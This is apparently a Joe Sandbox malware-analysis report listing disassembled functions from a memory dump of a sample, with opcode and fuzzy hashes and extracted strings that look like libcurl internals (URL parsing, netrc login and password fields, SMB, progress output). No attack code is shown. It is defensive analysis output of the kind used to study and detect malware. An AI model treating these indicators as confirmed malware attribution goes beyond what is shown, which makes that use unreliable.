                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: %3lld %s %3lld %s %3lld %s %s %s %s %s %s %s$ %% Total %% Received %% Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed$%2lld:%02lld:%02lld$%3lldd %02lldh$%7lldd$** Resuming transfer from byte position %lld$--:-$--:-$--:-$-:--$-:--$-:--$Callback aborted
                                                    • API String ID: 0-122532811
                                                    • Opcode ID: 4acc9d64fab43fb062b41960eaed504082937f5160c49a0759dfda1da02e3ab8
                                                    • Instruction ID: 5012f4c638f318159842fc522d11fcf107521d42ae1dc598601e66c930a8f0e4
                                                    • Opcode Fuzzy Hash: 4acc9d64fab43fb062b41960eaed504082937f5160c49a0759dfda1da02e3ab8
                                                    • Instruction Fuzzy Hash: D242F9B1B08700AFD718DE28CC41BABB6EAEBC8704F04892CF55D97291D775E9548BD2
                                                    Function 00A49880 Relevance: 15.2, Strings: 12, Instructions: 226COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: -vc$ans$ate$attempts$ndot$out$retr$retr$rota$time$use-$usev
                                                    • API String ID: 0-1574211403
                                                    • Opcode ID: d83f3b494c95a43ea02f0cd25f5ba931b477080eb2a0dee764fc47772c11fc51
                                                    • Instruction ID: ec3da0273038971a63f218a8e27db2e478e6f79fecc48b390405f28efee00d5b
                                                    • Opcode Fuzzy Hash: d83f3b494c95a43ea02f0cd25f5ba931b477080eb2a0dee764fc47772c11fc51
                                                    • Instruction Fuzzy Hash: 4061E3A9E083006BE714AB24AD52B3BB299EBD4354F04843DFC4A97293FE71D9258253
                                                    Function 009B4F70 Relevance: 12.2, Strings: 9, Instructions: 911COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: %.*s%%25%s]$%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s$%s://$:;@?+$file$file://%s%s%s$https$urlapi.c$xn--
                                                    • API String ID: 0-1914377741
                                                    • Opcode ID: c84772ff1495f7a40de2fae388cf6d291d9e4ee06026cdab6a91022cbe30fab4
                                                    • Instruction ID: 914f4faff1928b17f6275ee396a8814acff310a119ba5822e047323605735cd9
                                                    • Opcode Fuzzy Hash: c84772ff1495f7a40de2fae388cf6d291d9e4ee06026cdab6a91022cbe30fab4
                                                    • Instruction Fuzzy Hash: E6723930A08B419FE7219A28C6467E677D69FD1760F0A8A1CED845B2D3E7B6DCC4C781
                                                    Function 00D1E050 Relevance: 10.8, APIs: 2, Strings: 3, Instructions: 2082COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID: localeconv
                                                    • String ID: $d$nil)
                                                    • API String ID: 3737801528-394766432
                                                    • Opcode ID: a900932747905350a3511a09ea481710a717631fdcc4db4d81126d6bfb6436dd
                                                    • Instruction ID: f125f863030e30628ed38b5fb479776e089bedd6b7ca2e4d6484e0f7e45a404f
                                                    • Opcode Fuzzy Hash: a900932747905350a3511a09ea481710a717631fdcc4db4d81126d6bfb6436dd
                                                    • Instruction Fuzzy Hash: 2D137D706083419FD720CF28E1806AABBE1BF99354F18492DF9D59B351DB71EC85CBA2
                                                    Function 00A5EF90 Relevance: 9.4, Strings: 7, Instructions: 688COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: $.$;$?$?$xn--$xn--
                                                    • API String ID: 0-543057197
                                                    • Opcode ID: d6f468796cba1d7307b3b7dad31c5ac8ecd31601e8dc69d17ff4cc36e7d66c88
                                                    • Instruction ID: c6b8284dcfea07a88811df5ebf31545521bca09f64efd5bccde150e3d3370bd9
                                                    • Opcode Fuzzy Hash: d6f468796cba1d7307b3b7dad31c5ac8ecd31601e8dc69d17ff4cc36e7d66c88
                                                    • Instruction Fuzzy Hash: 382206B2A04341AFEB209B24DC41B6B76E5BF9434AF08453CFC9997292F735D948C792
                                                    Function 0099A960 Relevance: 9.0, Strings: 6, Instructions: 1491COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: (nil)$-$.%d$0$0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ$0123456789abcdefghijklmnopqrstuvwxyz
                                                    • API String ID: 0-2555271450
                                                    • Opcode ID: 89aff4c81ea6b976172a5b822861313de4bb089ed9ff63bb9025af608e2915e7
                                                    • Instruction ID: 3b78e64806ffc7e8f0657b607dc1c158a4c10512e2deef68018cc1e36c416b04
                                                    • Opcode Fuzzy Hash: 89aff4c81ea6b976172a5b822861313de4bb089ed9ff63bb9025af608e2915e7
                                                    • Instruction Fuzzy Hash: 72C29B31A083418FDB14CF2CD59076AB7E6EFD8314F158A2DE8999B391D738EC458B82
                                                    Function 0099E620 Relevance: 8.5, Strings: 6, Instructions: 1028COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: (nil)$-$.%d$0$0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ$0123456789abcdefghijklmnopqrstuvwxyz
                                                    • API String ID: 0-2555271450
                                                    • Opcode ID: 953cc24644e10d38f2726016065a60f9dd6485693f48c688a9d1b63a891e6121
                                                    • Instruction ID: 52b30d04f8640da54ec6e1032b86b1eeed3037abaeb4af61bd9a61cca38b6831
                                                    • Opcode Fuzzy Hash: 953cc24644e10d38f2726016065a60f9dd6485693f48c688a9d1b63a891e6121
                                                    • Instruction Fuzzy Hash: AD828C71A083019FDB14CE2CC89476BB7E5EFD5324F288A2DF8A997291D734DC458B92
                                                    Function 009F6210 Relevance: 7.9, Strings: 6, Instructions: 419COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: default$login$macdef$machine$netrc.c$password
                                                    • API String ID: 0-1043775505
                                                    • Opcode ID: 54c324071d3f06ee65a9833848ef192337597f156dd0ad79fbe6bb716bfa2b5e
                                                    • Instruction ID: 8fc4c915b7ab1c24600d4157d5db17c1a96e334c763b2a8133812d7175995c1c
                                                    • Opcode Fuzzy Hash: 54c324071d3f06ee65a9833848ef192337597f156dd0ad79fbe6bb716bfa2b5e
                                                    • Instruction Fuzzy Hash: 92E1177090C349ABE7119F249845B7BBBD8AF85708F14482CFAC597282E3B9D948D793
                                                    Function 009FA7F0 Relevance: 6.9, Strings: 5, Instructions: 687COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: ????$Invalid input packet$SMB upload needs to know the size up front$\$\\
                                                    • API String ID: 0-4201740241
                                                    • Opcode ID: 3bd0dc28484333daccf06bfb99dbe8e1329190316d46ad849733d11e2bd94285
                                                    • Instruction ID: 500f9c723340dddfd658de32bbd88291fb2a57940431fb7df89ea07e16f6e312
                                                    • Opcode Fuzzy Hash: 3bd0dc28484333daccf06bfb99dbe8e1329190316d46ad849733d11e2bd94285
                                                    • Instruction Fuzzy Hash: 5B62F0B0A14741DBD714CF20C8907AAB7E4FF98304F04962DE98D8B352E775EA94CB96
                                                    Function 00D13A70 Relevance: 6.8, Strings: 5, Instructions: 517COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: .DAFSA@PSL_$===BEGIN ICANN DOMAINS===$===BEGIN PRIVATE DOMAINS===$===END ICANN DOMAINS===$===END PRIVATE DOMAINS===
                                                    • API String ID: 0-2839762339
                                                    • Opcode ID: 80b331b6b1d3c90a3845f3bf89e3a3c8836c910cdb0b131216af0a0db5422b63
                                                    • Instruction ID: d34200c9e839e7e5b87d71d09a04b70dced1176176ca01f6418edf6ffd56e7d6
                                                    • Opcode Fuzzy Hash: 80b331b6b1d3c90a3845f3bf89e3a3c8836c910cdb0b131216af0a0db5422b63
                                                    • Instruction Fuzzy Hash: 5102A4B1A08341AFD725DE25F941BEBB6D5EF54340F08842CE98987282EF71D984D7B2
                                                    Function 00A4C900 Relevance: 5.4, Strings: 4, Instructions: 369COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013E7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000013FD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393561673.00000000013FE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393721657.00000000015B4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393745220.00000000015B6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_990000_mBr65h6L4w.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: 0123456789$0123456789ABCDEF$0123456789abcdef$:
                                                    • API String ID: 0-3285806060
                                                    • Opcode ID: e21b054ebe0c0ee74f526df01609116f2b2f7b9f52b20f644429ff5df0b1435d
                                                    • Instruction ID: bddafd4408beccbf11d9f501d556bf8352df477e3eabbb3175a24b41aed8b165
                                                    • Opcode Fuzzy Hash: e21b054ebe0c0ee74f526df01609116f2b2f7b9f52b20f644429ff5df0b1435d
                                                    • Instruction Fuzzy Hash: 16D1067AE0A3019BD764DF28D88136EB7E1AFD1324F14893DE8CD97292EB349944D742
                                                    Function 00D1CC90 Relevance: 5.4, Strings: 4, Instructions: 351COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.2391817963.0000000000991000.00000040.00000001.01000000.00000003.sdmp, Offset: 00990000, based on PE: true
                                                    • Associated: 00000001.00000002.2391755376.0000000000990000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001067000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2391817963.0000000001069000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393117509.000000000106C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
